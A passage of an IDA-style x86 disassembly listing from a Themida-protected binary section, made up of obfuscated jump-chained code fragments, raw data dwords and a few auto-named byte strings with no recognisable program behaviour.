		dd 3C890000h, 7DDD6824h, 24890000h, 24048124h, 4, 1670E9h
		dd 4EF8100h, 57000000h,	42474FFh, 24048F5Fh, 240C895Ch
		dd 55BAE9h, 48B6600h, 48126824h, 3C890000h, 1497E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_538216:				; CODE XREF: Themida_:005411E5j
		push	ebx
		push	4
		push	dword ptr [esp]
		jmp	loc_53B199
; ---------------------------------------------------------------------------
		dd 0B3E9C501h, 83FFFFFEh, 148704EAh, 24248B24h,	0B9240C89h
		dd 22610BC7h, 0E9C1D1F7h, 52E98103h, 0F7DBDC5Fh, 6A8068D1h
		dd 0B7E90000h, 8900002Ah, 5045E9E3h, 0C1310000h, 59CE0158h
		dd 4C681h, 10680000h, 89000071h, 5A542414h, 4C281h, 0EA830000h
		dd 24148704h, 0E11E9h, 81F50100h, 127B31EDh, 2C875E5Dh
		dd 24248B24h, 5231E9h, 5AD68900h, 685EF031h, 6A9Ch, 146CE9h
		dd 81C30100h, 5A268AEBh, 0E930FF25h, 0FFFFEB0Eh, 3440C381h
		dd 0C38146DCh, 12BCCC3h, 335BDE01h, 34312434h, 0A7F8E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5382CE:				; CODE XREF: Themida_:005375C6j
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	ebx
		mov	ebx, 224C1127h
		shr	ebx, 1
		jmp	loc_542025
; ---------------------------------------------------------------------------
		dd 2BDh, 5CEB8100h, 16D5B0Bh, 3602E9EBh, 0C2830000h, 81D2F701h
		dd 83C043F2h, 5AD389EAh, 70BBC281h, 0DA012E9Dh,	70BBEA81h
		dd 0E95B2E9Dh, 1002h, 0E924048Bh, 846Eh
; ---------------------------------------------------------------------------

loc_538320:				; CODE XREF: Themida_:00540052j
		add	ebp, eax
		pop	eax
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		dec	dword ptr [esp]
		pushf
		jmp	loc_536DC2
; ---------------------------------------------------------------------------
aBxiIxscb	db '│Е╘&IxИГ║',0
		dw 8700h
		dd 895C243Ch, 93BA2414h, 97AFF70h, 24148BD6h, 0C104C483h
		dd 0F68104EEh, 7FFF77Fh, 8AAC281h, 0F2012D28h, 8AAEA81h
		dd 565E2D28h, 2BEh, 5EF20100h, 36A6E9h,	5A685500h, 8B4D4F2Dh
		dd 0C481242Ch, 4, 4836F581h, 5A55503Fh,	0E9D0015Dh, 0E93h
		dd 81243C8Bh, 4C4h, 0E9D68700h,	0FFFFF735h, 0A8A3E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5383B2:				; CODE XREF: Themida_:0053C496j
		add	esp, 4
		mov	edx, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_53DD5A
; ---------------------------------------------------------------------------
		dd 81D50158h, 0BF19EEEDh, 0E5E95A1Ch, 8B000000h, 0C481241Ch
		dd 4, 13D1E9h, 24E95F00h, 290000A9h, 3247E9D1h,	0F3300000h
		dd 0FFFA2CE9h, 0DEE95DFFh, 66000034h, 8124048Bh, 4ECh
		dd 240C8900h, 4B01E9h
		db 0
; ---------------------------------------------------------------------------

loc_538409:				; CODE XREF: Themida_:0053A34Bj
		mov	esi, 43A356BDh
		xor	ebp, esi
		pop	esi
		sub	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_541EB8
; ---------------------------------------------------------------------------
		dd 0E9FE015Eh, 7A21h, 240C8B66h, 1B92E9h
		db 0
; ---------------------------------------------------------------------------

loc_538431:				; CODE XREF: Themida_:00542C18j
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_53C378
; ---------------------------------------------------------------------------
		dw 2489h
		dd 24048124h, 4, 8124048Fh, 42404h, 2C8B0000h, 4C48324h
		dd 7D94E9h, 0F7DF8700h,	38EF81D7h, 81105764h, 2AD916EFh
		dd 623905D2h, 0F80151E4h, 0E462392Dh, 243C8B51h, 5704C483h
		dd 0B57ECEBFh, 9812E972h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_538492:				; CODE XREF: Themida_:0053AABCj
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_53BDCF
; ---------------------------------------------------------------------------

loc_5384A9:				; CODE XREF: Themida_:0053DE6Bj
		sub	ebx, 4E693C3Eh
		jmp	loc_53E427
; ---------------------------------------------------------------------------
		dd 3304C583h, 2C31242Ch, 242C3324h, 68C80F5Ch, 2D93h, 0E9240489h
		dd 0FFFFE8F2h, 5359EE88h, 0D888F388h, 5394E9h
		db 0
; ---------------------------------------------------------------------------

loc_5384DD:				; CODE XREF: Themida_:00541EB3j
		inc	dword ptr [edx+38h]
		jmp	loc_53CEAA
; ---------------------------------------------------------------------------
		db 68h,	39h, 36h
		dd 34890000h, 4BE24h, 0F3010000h, 4C3835Eh, 8B241C87h
		dd 54532424h, 4C3815Bh,	0E9000000h, 0A3E2h, 4B8h, 58C10100h
		dd 34E8E9h
		db 0
; ---------------------------------------------------------------------------

loc_538519:				; CODE XREF: Themida_:0053B966j
		add	esp, 4
		push	6EC1h
		jmp	loc_5411CE
; ---------------------------------------------------------------------------
aRhax		db 'RhМx',0
		align 4
		dd offset dword_433EA8+0A41h
		dd 81E78900h, 4C7h, 31BA5200h, 0E905A101h, 9D24h
; ---------------------------------------------------------------------------

loc_538544:				; CODE XREF: Themida_:0053AC46j
		mov	eax, 71993027h
		jmp	loc_5386D8
; ---------------------------------------------------------------------------
aMsfd		db '╛И■d',0
		align 4
a5KjsV		db '╨5\[kJИ{╒',0
		dw 8F00h
		dd 248B2404h, 0E930FF24h, 597Eh, 4BB53h, 0D9010000h, 18B7685Bh
		dd 0C890000h, 2474FF24h, 1B97E904h, 814B0000h, 0DD4040E3h
		dd 0AA0E973h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_538592:				; CODE XREF: Themida_:00541245j
		mov	ecx, 0
		jmp	loc_538AA2
; ---------------------------------------------------------------------------

loc_53859C:				; CODE XREF: Themida_:005423EDj
		add	esp, 4
		shr	ecx, 0
		or	eax, eax
		jmp	loc_53E5A2
; ---------------------------------------------------------------------------

loc_5385A9:				; CODE XREF: Themida_:0053E3AAj
		mov	[edi+eax*4+1], dh
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5380FA
; ---------------------------------------------------------------------------

loc_5385BC:				; CODE XREF: Themida_:0053CEA5j
		pop	edi
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_537199
; ---------------------------------------------------------------------------
a13SK		db '1,$3,$И╫K',0
		dw 8100h
		dd 537952E5h, 2EB85078h, 0E955FD19h, 0A6Dh
; ---------------------------------------------------------------------------

loc_538600:				; CODE XREF: Themida_:00542C2Fj
		pop	edx
		push	edi
		jmp	loc_53D9DB
; ---------------------------------------------------------------------------
		db 59h
		dd 0B60F66h, 4DB46866h,	9F8BE9h
		db 0
; ---------------------------------------------------------------------------

loc_538615:				; CODE XREF: Themida_:0053D129j
		add	ecx, 355B662Ch
		jmp	loc_53BF53
; ---------------------------------------------------------------------------
		dd 240C8B66h, 8DE6E9h, 68F78100h, 816DF237h, 25D91EC7h
		dd 0E9F801F5h, 2568h, 5995F381h, 0EB811DC0h, 30A01ED1h
		dd 7531E9h
		db 0
; ---------------------------------------------------------------------------

loc_53864D:				; CODE XREF: Themida_:00539913j
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_53FC23
; ---------------------------------------------------------------------------

loc_538658:				; CODE XREF: Themida_:0053F092j
		mov	eax, 4E0D3782h
		shr	eax, 7
		jmp	loc_53D7CD
; ---------------------------------------------------------------------------
		db 1, 0FAh, 5Fh
		dd 3304EA83h, 14312414h, 1E8CE924h, 0D050000h, 5A3D9347h
		dd 8B240487h, 0C4832424h, 37B5E904h, 895C0000h,	0BD552424h
		dd 4, 4246C01h,	2434FF5Dh, 4C4835Eh, 4C681h, 0BD550000h
		dd 2, 2C8BEE01h, 4C48124h, 87000000h, 248B2434h, 89EFE924h
		dd 50590000h, 0FFFE43E9h, 68575AFFh, 56147E8Bh,	0E9243C8Bh
		dd 6C6Ah
; ---------------------------------------------------------------------------

loc_5386D8:				; CODE XREF: Themida_:00538549j
		mov	esi, eax
		pop	eax
		push	ebp
		mov	ebp, 4E2F7CC6h
		xor	esi, ebp
		jmp	loc_53CBB8
; ---------------------------------------------------------------------------
		dd 24048B66h, 4EC81h, 34890000h, 7D056824h, 0E9540000h
		dd 4264h, 5959CB00h, 0FAE9D820h, 55FFFFEAh, 4BDh, 5DEE2900h
		dd 8727E9h, 24048F00h, 6624248Bh, 66241489h, 97E99C50h
		dd 64FFFFE6h, 3EE9028Fh, 66000018h, 5302B60Fh, 0C381E389h
		dd 4, 0E904EB83h, 588Bh, 0E9243433h, 4022h
; ---------------------------------------------------------------------------

loc_538750:				; CODE XREF: Themida_:0053CA27j
		add	esp, 4
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	5AC0h
		jmp	loc_53F2E2
; ---------------------------------------------------------------------------
		db 80h,	0C2h, 7Dh
		dd 285AD000h, 29CD68D8h, 2DE90000h, 80000085h, 4AE9A4F3h
		dd 8100002Bh, 3554AEEh,	2BE94642h, 8900008Bh, 9DB82404h
		dd 0E90F593Dh, 0FFFFF146h, 24048B66h, 565A5452h, 717A07BEh
		dd 3EEC157h, 5457EED1h,	4C7815Fh, 0E9000000h, 3832h, 8B240C87h
		dd 0B8502424h, 0D9129F3h, 1EB82D48h, 0C2019B15h, 2CBD5558h
		dd 0F768840Fh, 66C581DDh, 812BCC55h, 0E73B21EDh, 6EDC103h
		dd 3BEBED81h, 0EA29CDDCh, 1DBE565Dh, 0E90B4423h, 9BF2h
		dd 86E9CE89h
		db 92h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_538807:				; CODE XREF: Themida_:0054186Cj
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_541770
; ---------------------------------------------------------------------------

loc_53881D:				; CODE XREF: Themida_:00536E41j
		mov	edx, 32920D6Fh
		neg	edx
		jmp	loc_536F0C
; ---------------------------------------------------------------------------

loc_538829:				; CODE XREF: Themida_:00540E95j
		mov	ebp, 7BA47257h
		jmp	loc_53A343
; ---------------------------------------------------------------------------

loc_538833:				; CODE XREF: Themida_:0053B0E5j
		add	al, 0F7h
		sub	al, ch
		push	edx
		mov	dh, 0D6h
		add	dh, 6Fh
		jmp	loc_5416F6
; ---------------------------------------------------------------------------
		dw 0B551h
		dd 66D5F6BEh, 30A1B450h, 124CE9E5h, 0E9530000h,	8048h
		dd 9C242CD3h, 0FFE561E9h, 0B5E981FFh, 0F726457Bh, 6FC181D9h
		dd 0E92B1F95h, 5B1Dh, 0E9241C8Bh, 1CD8h, 8103E3C1h, 1D5D19C3h
		dd 0F194E910h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53888A:				; CODE XREF: Themida_:0053F856j
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	ebx, 2129032Dh
		jmp	loc_53C17B
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 89240489h, 405E0h, 0C0830000h, 24048704h, 0E924248Bh
		dd 1E83h
; ---------------------------------------------------------------------------

loc_5388CC:				; CODE XREF: Themida_:0053F08Aj
		mov	[esp], ecx
		push	6FF37447h
		pop	ecx
		sub	ecx, 6FF37448h
		push	edx
		jmp	loc_54225F
; ---------------------------------------------------------------------------
		db 33h,	34h, 24h
		dd 3824248Bh, 0D3E99CC1h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5388EF:				; CODE XREF: Themida_:00541659j
		xor	ah, dh
		jmp	loc_53FED0
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4EC8124h, 89000000h,	5D54242Ch, 4C581h, 0C5810000h
		dd 4, 8B242C87h, 0A7E92424h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53891B:				; CODE XREF: Themida_:0053A0C3j
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_539542
; ---------------------------------------------------------------------------
		dd 4C481h, 0E9550000h, 1182h
; ---------------------------------------------------------------------------

loc_538938:				; CODE XREF: Themida_:0053F215j
		push	esi
		mov	esi, 1BE60B0Eh
		and	esi, 4C69518Eh
		and	esi, 49A41AE1h
		dec	esi
		or	esi, 27070F3Ch
		xor	esi, 5D2BA679h
		not	esi
		push	ebx
		mov	ebx, 9762BF97h
		xor	esi, ebx
		jmp	loc_53C293
; ---------------------------------------------------------------------------
		dw 8158h
		dd 4C4h, 5BF80000h, 39706866h, 24148966h, 3E5B68h, 240C8900h
		dd 885050B1h, 58C688C8h, 0FFF22EE9h, 81DD01FFh,	0D36559EDh
		dd 522E910h, 48F0000h, 24048124h, 4, 82B1E9h
		db 0
; ---------------------------------------------------------------------------

loc_5389A9:				; CODE XREF: Themida_:0053B1B3j
		mov	edi, [esp]
		add	esp, 4
		mov	edx, [esp]
		jmp	loc_53F677
; ---------------------------------------------------------------------------
		db 5Fh
		dd 10A2C781h, 0F83179C5h, 0E9243C8Bh, 128Ch, 238EE956h
		dd 0CD800000h, 9493E974h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5389D6:				; CODE XREF: Themida_:0053FDA6j
		add	esp, 4
		add	eax, 15BC04D0h
		add	eax, edi
		sub	eax, 15BC04D0h
		add	eax, 57867E72h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_53B710
; ---------------------------------------------------------------------------

loc_5389FC:				; CODE XREF: Themida_:0053D6BAj
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 70934EB6h
		push	ebp
		mov	ebp, 8012D28h
		neg	ebp
		add	ebp, 0E1A9F6Ch
		xor	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	ecx, edx
		pop	edx
		jmp	loc_53F6B0
; ---------------------------------------------------------------------------

loc_538A29:				; CODE XREF: Themida_:00539C2Ej
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 71141032h
		sub	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_54249E
; ---------------------------------------------------------------------------
aAAaBfqG	db '─б═─цBfQ╣ё',0
		dd 285966EBh, 0A3EB80D3h, 0E942EB80h, 5F4h, 81E18951h
		dd 4C1h, 9712E900h, 5ABE0000h, 0E92BC517h, 4A6h, 61B268h
		dd 4D0E900h, 4BB0000h, 81000000h, 8441BDE9h, 5B9DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_538AA2:				; CODE XREF: Themida_:00538597j
		sub	ecx, eax
		mov	eax, ecx
		jmp	loc_53A19D
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFE312h, 81E78957h, 4C7h,	4EF8300h, 0E9243C87h, 0FFFFE450h
		dd 59243C86h, 8B66C888h, 0C481240Ch, 2,	32240430h, 4302404h
		dd 0E2E0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_538AE2:				; CODE XREF: Themida_:0053CC8Ej
		add	esp, 4
		jmp	loc_536E40
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 512B46BEh, 63EACA81h, 0DAF771B0h, 81DAF74Ah,	373925F2h
		dd 5AD60968h, 0A00EE951h, 835D0000h, 348904ECh,	96685724h
		dd 5F342C4Ah, 0D5F7EF87h, 0EF81EF87h, 0CBD3B565h, 15FFE89h
		dd 24348BF5h, 4C481h, 0E9530000h, 767h
		db 8Bh,	14h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_541B68
; ---------------------------------------------------------------------------
		db 0FEh
		dd 5EAC0C2h, 22D7E9h, 24048700h, 2404895Ch, 815E5456h
		dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 59BA2414h, 420C3A0Eh
		dd 0FFF3E1E9h, 0FBD55FFh, 0BA231A06h, 231A060Bh, 15DEA31h
		dd 0C1835AD1h, 240C8704h, 4C4815Ch, 0E9000000h,	478Eh
		dd 8904C483h, 0E599E9FAh, 0BA52FFFFh, 78206D7Ch, 815AD301h
		dd 630899C3h, 2434FF7Fh, 8E50E9h, 3ECE8100h, 466F960Ch
		dd 0C61B850h, 3B353DE2h, 2911B1FDh, 0F38958C6h,	0FAC3815Eh
		dd 0C1300238h, 0CB8102EBh, 3AE321BBh, 0CBB95143h, 21083B0Dh
		dd 29E959CBh
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_538BFB:				; CODE XREF: Themida_:0053AAF9j
		add	esp, 4
		xor	edx, 3A611DEBh
		mov	eax, edx
		pop	edx
		push	eax
		sub	dword ptr [esp], 58B13486h
		pop	ebx
		add	ebx, 58B13486h
		pop	eax
		jmp	loc_53D12E
; ---------------------------------------------------------------------------
		db 68h
		dd 2, 0B4C38159h, 817C824Ch, 0DE4987EBh, 81CB016Eh, 0DE4987C3h
		dd 0B4EB816Eh, 597C824Ch, 8B241C87h, 0FF662424h, 0E99C240Ch
		dd 0FFFFE172h, 66E1F65Ch, 66CCB60Fh, 667D0C68h,	66240C89h
		dd 66C8B60Fh, 57E99C51h, 0B7FFFFE1h, 9D6AE963h,	81590000h
		dd 0A45648EBh, 1EB8108h, 81000000h, 0FCBE91EBh,	5BDF0164h
		dd 4C781h, 3C870000h, 0E95A5C24h, 0FFFFE12Ah
; ---------------------------------------------------------------------------

loc_538C98:				; CODE XREF: Themida_:0053BF4Ej
		add	eax, edi
		jmp	loc_53B1A4
; ---------------------------------------------------------------------------

loc_538C9F:				; CODE XREF: Themida_:0053FE2Dj
		pop	esi
		and	ecx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		shr	ecx, 7
		jmp	loc_53FC56
; ---------------------------------------------------------------------------
		db 56h,	54h, 5Eh
		dd 4C681h, 0C6830000h, 74FF5604h, 8F5E0424h, 815C2404h
		dd 4ECh, 24348900h, 0FF2434FFh,	0F3E92434h, 83000015h
		dd 0C8704C4h, 89665C24h, 0D7E92404h, 81FFFFE0h,	0F553E8CAh
		dd 0C2814A2Ah, 0D108841Dh, 0FFF10FE9h, 243C89FFh, 0FC3884BFh
		dd 9AC7814Fh, 50B5D746h, 0C189F889h, 243C8B58h,	4C481h
		dd 0C8010000h, 51240C8Bh, 541AE9h, 24048700h, 0D0BA525Ch
		dd 0F748FA7Eh, 32C281DAh, 318779F4h, 51CBE9D0h,	8B660000h
		dd 1CE92404h, 81000069h, 4C4h, 5843E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_538D52:				; CODE XREF: Themida_:00541039j
		add	ebx, esi
		jmp	loc_541C4F
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 57000000h, 4BFh, 8BFA0100h, 42E9243Ch, 4000079h, 0C8B667Eh
		dd 2C48324h, 2B1D68h, 24148900h, 0CEFE3BB6h, 50FFEE80h
		dd 0FE94B252h, 7EA80C2h, 1AE9D088h, 8B000089h, 40E92424h
		dd 33000047h, 34312434h, 24343324h, 8124248Bh, 6D33242Ch
		dd 0CEE97B76h, 0FF000018h, 0E95A2434h, 980Ah, 348BF201h
		dd 4C48324h, 2C281h, 14330000h,	24143124h, 0E9241433h
		dd 1232h, 0C381E389h, 4, 49685357h, 8B011452h, 0C483241Ch
		dd 57554B04h, 7228E9h, 246C8100h, 52652004h, 2434FF3Bh
		dd 4C4815Ah, 53000000h,	167C41BBh, 245C290Eh, 4015B04h
		dd 24048124h, 0E167C41h, 759DB951h, 44816FFEh, 79290424h
		dd 0EDE9569Ch
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_538E33:				; CODE XREF: Themida_:0053C416j
		mov	ebx, 529143AEh
		xor	ecx, ebx
		pop	ebx
		and	[edi+20h], ecx
		mov	ecx, [esp]
		add	esp, 4
		shl	dword ptr [edi+20h], 4
		or	dword ptr [edi+20h], 1FE40D09h
		add	dword ptr [edi+20h], 0E01970C8h
		jmp	loc_542416
; ---------------------------------------------------------------------------
		db 68h
		dd 42A82F32h, 4D05685Fh, 1C890000h, 0BB24h, 0EB810000h
		dd 0C01C80h, 0CE9FB29h,	6600001Ah, 5224148Bh, 5EACE9h
		dd 24048F00h, 518EE9h, 0E9EF0100h, 76D1h, 489665Ch, 0DF24E924h
		dd 0C701FFFFh, 0B8EF8158h, 0E93DF249h, 78C3h, 4804C483h
		dd 0E135D0F7h, 0E92DBB80h, 3751h, 81241C8Bh, 4C4h, 4BF5700h
		dd 1000000h, 20BEE9FDh,	2C890000h, 7CFE6824h, 4AE90000h
		dd 0B8000002h, 628214Dh, 40E9E831h, 5C000086h, 39A76866h
		dd 24148966h, 3A0F68h, 6C8EE900h, 79BB0000h, 0E900CD20h
		dd 0FFFFF67Eh
; ---------------------------------------------------------------------------

loc_538F08:				; CODE XREF: Themida_:0053A862j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5421CD
; ---------------------------------------------------------------------------
aMhuc		db '╛hНC',0
		dd 24148900h, 668DB151h, 3725E950h, 0C6810000h,	0D43AE8A8h
		dd 9AB0E9h, 81C20100h, 0DB29A5C2h, 55E95866h, 8900009Ah
		dd 0BE958C5h, 8B000063h, 14892424h, 0D4BB5324h,	8963D715h
		dd 1B9CE9DAh, 14890000h, 7C6E924h, 0C3810000h, 4, 5C241C87h
		dd 8B24048Fh, 0F7662424h, 0EC8155E1h, 4, 83242489h, 5D042404h
		dd 3F7868h, 24048900h, 8904EC83h, 4F68243Ch, 8B0DC82Dh
		dd 0C483243Ch, 7EFC104h, 97D0F797h, 585EF81h, 0EF81125Ch
		dd 0ED886A1Ch, 0E95FF889h, 5F97h, 0FD8850B7h, 83241C8Bh
		dd 0ED8004C4h, 47E950A1h, 83000042h, 1DE904C7h,	59000020h
		dd 8304C483h, 896602ECh, 0B652240Ch, 0FECEFE7Eh, 0E9C6FECEh
		dd 56C2h, 48C768h, 24048900h, 2B8h, 0FFC50100h,	81582434h
		dd 4C4h, 242C3300h, 3447E9h
		db 0
; ---------------------------------------------------------------------------

loc_539015:				; CODE XREF: Themida_:00541501j
		push	235Dh
		mov	[esp], edi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_53F159
; ---------------------------------------------------------------------------
		dw 0F381h
aSzSqg		db '!:Аz)ыИО┐',0
		dw 6600h
		dd 0E9240C8Bh, 7B08h, 286497BFh, 4CCF8152h, 81002029h
		dd 373E6CEFh, 65C7813Eh, 0E93AAA6Dh, 54F6h, 5724148Bh
		dd 515EE9h, 0E9C50100h,	6C4Ch, 86C6815Bh, 5F01F84h, 38E13A4Dh
		dd 3AE9F029h, 31000001h, 0C33240Ch, 9867E924h, 895C0000h
		dd 74FF2434h, 348B0424h, 4C48124h, 8F000000h, 0D35C2404h
		dd 13E92424h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5390AF:				; CODE XREF: Themida_:005374CBj
		push	ecx
		jmp	loc_53E9B3
; ---------------------------------------------------------------------------
		db 31h,	0C5h, 8Bh
		dd 5FE92404h, 87000017h, 835C2404h, 0C8702C1h, 24248B24h
		dd 124AE9h, 3091BF00h, 7C3113F3h, 5B5F0424h, 0FFEF22E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5390E1:				; CODE XREF: Themida_:0053DDEEj
		push	ecx
		push	eax
		mov	eax, 4
		push	eax
		jmp	loc_539C1F
; ---------------------------------------------------------------------------
		dw 0B652h
		dd 88CFE97Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5390F6:				; CODE XREF: Themida_:00542DB0j
		push	ebp
		sub	esp, 4
		mov	[esp], ebx
		push	731C036Eh
		mov	ebx, [esp]
		add	esp, 4
		sub	ebx, 0FFFFFFFFh
		push	ebx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_53E984
; ---------------------------------------------------------------------------

loc_539120:				; CODE XREF: Themida_:00537FFEj
		add	ebp, ebx
		pop	ebx
		push	edx
		jmp	loc_53A831
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 1FB668h, 242C8900h, 2D42EDBDh, 0C5814529h, 0D6D2C10Eh
		dd 0E95DEB89h, 5F6Ah, 0C688DD34h, 0DDDCE958h, 6F68FFFFh
		dd 0E9417D52h, 0FFFFE9E3h, 51243489h, 95CEE9h, 240C8900h
		dd 238AE957h, 0C7810000h, 4, 5C243C87h,	8904EC83h, 0EEB62414h
		dd 0E6C0C6FEh, 717CE903h, 14F60000h, 0FE5B6624h, 36F380CBh
		dd 285BDA88h, 24148BD3h, 8004C483h, 0B60F30EBh,	87048FC0h
		dd 0FFDC15E9h, 0E95854FFh, 1B73h
; ---------------------------------------------------------------------------

loc_5391B4:				; CODE XREF: Themida_:0053DF93j
		mov	esp, [esp]
		shr	eax, 0Ah
		xor	eax, ecx
		jmp	loc_540E1A
; ---------------------------------------------------------------------------
aMS8szs		db '-M:А8Иz≤',0
		dw 0BD00h
		dd 3FFE4B04h, 0E905E5C1h, 7F98h, 0BF243C89h, 254F11D4h
		dd 6A36E9h, 0DBD8E900h,	31ADFFFFh, 13568D8h, 0C890000h
		dd 25F76824h, 55907AFh,	40B31E6Fh, 5A14E9h, 0D830AC00h
		dd 0B4505166h, 30A6B18Ah, 24048BE1h, 4C481h, 7E2C0000h
		dd 3FB15166h, 5966C828h, 0C828D004h, 0A5E9D02Ch, 0FF000087h
		dd 1E92434h, 81000070h,	4C1h, 4C18100h,	87000000h, 575C240Ch
		dd 76CC6853h, 34FF1A3Dh, 241C8B24h, 4C481h, 89510000h
		dd 1BA8E9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_539262:				; CODE XREF: Themida_:0053B111j
		mov	eax, 7BAB713Bh
		sub	eax, 700D56B1h
		jmp	loc_53E534
; ---------------------------------------------------------------------------
aB2sxr		db '│е>',27h,'/2ИX░',0
		align 4
		dd 0BD242C89h, 3A1C4E1Bh, 6519ED81h, 0DDF72721h, 2858ED81h
		dd 0A6E92844h, 29000092h, 0E1E958C1h, 0BB000097h, 2, 6CBE9h
		db 0
; ---------------------------------------------------------------------------

loc_5392A9:				; CODE XREF: Themida_:0053818Fj
		sub	eax, 59323692h
		jmp	loc_5418D9
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0E904EC83h, 0FFFFFFC0h, 0B753EDD0h, 7FE7803Dh, 8089EF80h
		dd 0FD3049EFh, 0FFC5805Bh, 0F580D5F6h, 0E6EE803Dh, 0C680EE00h
		dd 0F03059E6h, 8124148Bh, 4C4h,	0FC33000h, 8B66C0B6h, 78682414h
		dd 89000006h, 0E189240Ch, 3DC4B850h, 5C0D1185h,	2D65BD23h
		dd 22CC48CFh, 35D0F748h, 0AD0F08F7h, 0FBE4E953h, 0D301FFFFh
		dd 2813E9h, 24248900h, 4240483h, 1435E9h
		db 0
; ---------------------------------------------------------------------------

loc_53932D:				; CODE XREF: Themida_:00537DA2j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_539D32
; ---------------------------------------------------------------------------

loc_53933B:				; CODE XREF: Themida_:0053AB6Bj
		push	ebp
		mov	ebp, 604E654Bh
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, 74825E6Ah
		jmp	loc_53C02A
; ---------------------------------------------------------------------------

loc_539354:				; CODE XREF: Themida_:00542342j
		xor	ebx, eax
		jmp	loc_53A248
; ---------------------------------------------------------------------------
		db 89h
		dd 4BE56E7h, 1000000h, 0B8505EF7h, 4, 8758C701h, 575C243Ch
		dd 0F868E768h, 243C8B0Bh, 0E904C483h, 0FFFFF644h, 8704EA83h
		dd 1BE92414h, 0FFFFFFEEh, 0E9042474h, 4941h, 0B95DE831h
		dd 0AA02EF5h, 9BBAE9h, 0B8505700h, 0B623FFCh, 0DE95548h
		dd 83000012h, 1C8704C3h, 97A4E924h, 815D0000h, 4C4h, 9A21E900h
		dd 0E95F0000h, 7615h, 240C8B66h, 4EC81h, 0A8E90000h, 5B000006h
		dd 5624048Bh, 0C681E689h, 4, 73BBE9h, 0EC835800h, 240C8904h
		dd 85A8E9h, 243C8900h, 6B0FE9h,	0C8B6600h, 2C48124h, 4000000h
		dd 2434FFF8h, 3799E9h, 48B6600h, 8B545624h, 89522434h
		dd 4C281E2h, 81000000h,	4C2h, 814BE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_539436:				; CODE XREF: Themida_:00542310j
		or	edi, 5D0C6A75h
		not	edi
		or	edi, 28B4239Ch
		sub	edi, 62B56A4Ah
		jmp	loc_53F66D
; ---------------------------------------------------------------------------
		db 89h
		dd 0ECB850E5h, 4820CB55h, 6B70B951h, 0C1815094h, 37D24CE9h
		dd 5157D9F7h, 7C6A9EB9h, 0D2C18105h, 89151E9Dh,	0CF8159CFh
		dd 62465865h, 0C781DFF7h, 2E69180Fh, 30C6CF81h,	0E94F6B85h
